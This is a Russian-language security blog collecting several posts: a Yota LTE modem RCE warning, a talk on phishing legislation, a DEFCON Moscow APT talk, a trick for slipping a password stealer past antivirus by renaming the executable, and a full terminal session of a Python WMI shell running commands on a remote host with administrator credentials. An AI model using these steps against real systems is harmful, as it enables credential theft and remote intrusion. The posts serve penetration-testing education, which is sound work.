В тему ИБ

Сплоетс на миллион

Для всех пользователей LTE модемов компании Yota (к котором в т.ч. относится и Ваш покорный слуга) компания HeadLight Security запустила бесплатный онлайн сервис по проверке наличия известных уязвимостей в решениях этой телекоммуникационной компании. Проверить свой компьютер можно по следующей ссылке – http://yota.hlsec.ru/

Наиболее опасная уязвимость, которая содержится в распространяемом ПО вместе с самим LTE-модемом, позволяет выполнить произвольное приложение на уязвимой системе. Эксплоит является кроссплатформенным и затрагивает операционные системы на базе Windows и MacOS. Условия проведения атаки можно сравнить, например, с пруфом Tavis Ormandy, который позволял провести RCE в отношении компьютера с установленным антивирусом Касперского, т.е. достаточно просто посетить определенный "заряженный" веб-сайт. В свое время аналогичными уязвимостями отличились и антивирус Avast [тынц], и антивирус компании ESET [брякс].

Обновление от производителя в настоящее время отсутствует. В качестве workaround можно на время (до выхода соотвествующего обновления) удалить софт от Yota, поставляемого вместе с LTE свистелкой. Это не повлияет на работу в интернете, но защитит компьютер от RCE.

Противодействие фишингу на государственном уровне

Сегодня ваш покорный слуга принял участие в обсуждении нового законопроекта о введении уголовного наказания за фишинговые сайты (расширение Главы 28 УК РФ. Преступления в сфере компьютерной информации). За выделенные мне 10 минут постарался донести до законотворцев мысль о том, что существует рынок консалтинговых услуг в сфере информационной безопасности. И, в связи с инициативой депутата госдумы Ильи Костунова о новом законе, необходимо сохранить социотехнические тесты в правовом поле.

Противодействие хищению персональных данных и платежной информации в сети Интернет посредством фишинга from Dmitry Evteev

penetest VS. APT

После многострадального квеста в российского предпринимателя ваш покорный слуга вновь погружается в привычное ему амплуа. Так, погружение состоялось на площадке DEFCON MOSCOW 0X0A #DC7499, где наравне с Сергеем Головановым и Никитой Кислициным я поднял популярную нынче тему APT. К слову, оставшуюся программу мероприятия, практически всецело, заняли мои коллеги по текущей работе - Олег Купреев и Михаил Фирстов (разумеется помимо выступления великого человека Дмитрия Недоспасова). С моей презентацией можно ознакомиться ниже, презентации других участников встречи, насколько я понимаю, появятся чуть позже на сайте мероприятия.

penetest VS. APT from Dmitry Evteev

[hacking tricks] AVs bypass

Не все ~~помнят~~ знают, что командная строка Windows воспринимает любой файл с произвольным расширением, как исполняемую PE-программу. Это в свою очередь может с успехом использоваться для обхода превентивных механизмов защиты. В качестве примера возьмем известный по virustotal Passwords Stealer UFR [тынц] и не безызвестный антивирус McAfee, который уже знает про эту стягивалку паролей [PWS-FAPK!31754313CD59]. Создадим новый билд UFR Stealer и сразу же переименуем его, например так: C:\Temp> move test.exe test.db

Теперь любым волшебным способом доставим исполняемый файл test.db на целевой компьютер, на котором уже крутится антивирус McAfee и...

Аналогичным образом обходятся и другие аверы в т.ч. антивирус Касперского, а вот родной для винды Windows Defender такие особенности командной строки блюдет(( радует лишь то, что дефендер не перегружен знаниями о самой малвари))

[hacking tricks] Полноценный WMI shell

Усилиями Andrei Dumitrescu появился полноценный WMI шелл на Python. Тула разработана в контексте выступления Andrei's на проходящем сейчас мероприятии #HES2014 [http://2014.hackitoergosum.org/].

Ознакомиться с презентацией можно по следующей ссылке [тынц].

root@bt:/tmp# wget https://www.lexsi.fr/conference/wmi-shell.zip
root@bt:/tmp# unzip wmi-shell.zip
Archive: wmi-shell.zip
creating: wmi-shell/
inflating: wmi-shell/LICENSE
inflating: wmi-shell/wmi-shell.py
inflating: wmi-shell/README
inflating: wmi-shell/base.vbs
creating: wmi-shell/bin/
inflating: wmi-shell/bin/base64.c
inflating: wmi-shell/bin/base64.exe
inflating: wmi-shell/bin/wmis
inflating: wmi-shell/bin/wmic
creating: wmi-shell/b64-source/
inflating: wmi-shell/b64-source/base64.exe
inflating: wmi-shell/b64-source/base64.c
root@bt:/tmp# cd wmi-shell/
root@bt:/tmp/wmi-shell# python wmi-shell.py administrator password 10.1.37.134
Sending our VBS script to 10.1.37.134 ETA: ~6.4 seconds.
Executed command --> ./bin/wmis -U "administrator"%"password" //10.1.37.134 "cmd /c echo Function base64_encode( byVal strIn ) >>%TEMP%\E2BpK7z.vbs" 2>/dev/null <-- . Returned code: 1
...
Executed command --> ./bin/wmis -U "administrator"%"password" //10.1.37.134 "cmd /c echo End Select >>%TEMP%\E2BpK7z.vbs" 2>/dev/null <-- . Returned code: 1
>>> dir C:\\
Executed command --> ./bin/wmis -U "administrator"%"password" //10.1.37.134 "cmd /c cscript %TEMP%\E2BpK7z.vbs \"dir C:\\\"" 2>/dev/null <-- . Returned code: 1
Executed command --> ./bin/wmic -U "administrator"%"password" //10.1.37.134 --namespace='root\default' "select Name from __Namespace where Name like 'DOWNLOAD_READY'" > bSKFiy5_ready.tmp <-- . Returned code: 0
waiting for command output . . Executed command --> ./bin/wmic -U "administrator"%"password" //10.1.37.134 --namespace='root\default' "select Name from __Namespace where Name like 'DOWNLOAD_READY'" > bSKFiy5_ready.tmp <-- . Returned code: 0
. done !
Executed command --> ./bin/wmic -U "administrator"%"password" //10.1.37.134 --namespace='root\default' "select Name from __Namespace where Name like 'EVILTAG%'" > bSKFiy5.tmp <-- . Returned code: 0
Volume in drive C has no label.
Volume Serial Number is 8E25-9E63

Directory of C:\

14.07.2009 07:20 <DIR> PerfLogs
19.04.2014 03:12 <DIR> Program Files
19.04.2014 22:04 <DIR> Program Files (x86)
19.04.2014 03:05 <DIR> Users
20.04.2014 04:19 <DIR Windows
0 File(s) 0 bytes
5 Dir(s) 82▒326▒290▒432 bytes free
Executed command --> ./bin/wmis -U "administrator"%"password" //10.1.37.134 "cmd /c cscript %TEMP%\E2BpK7z.vbs \"cleanup\"" 2>/dev/null <-- . Returned code: 1
>>>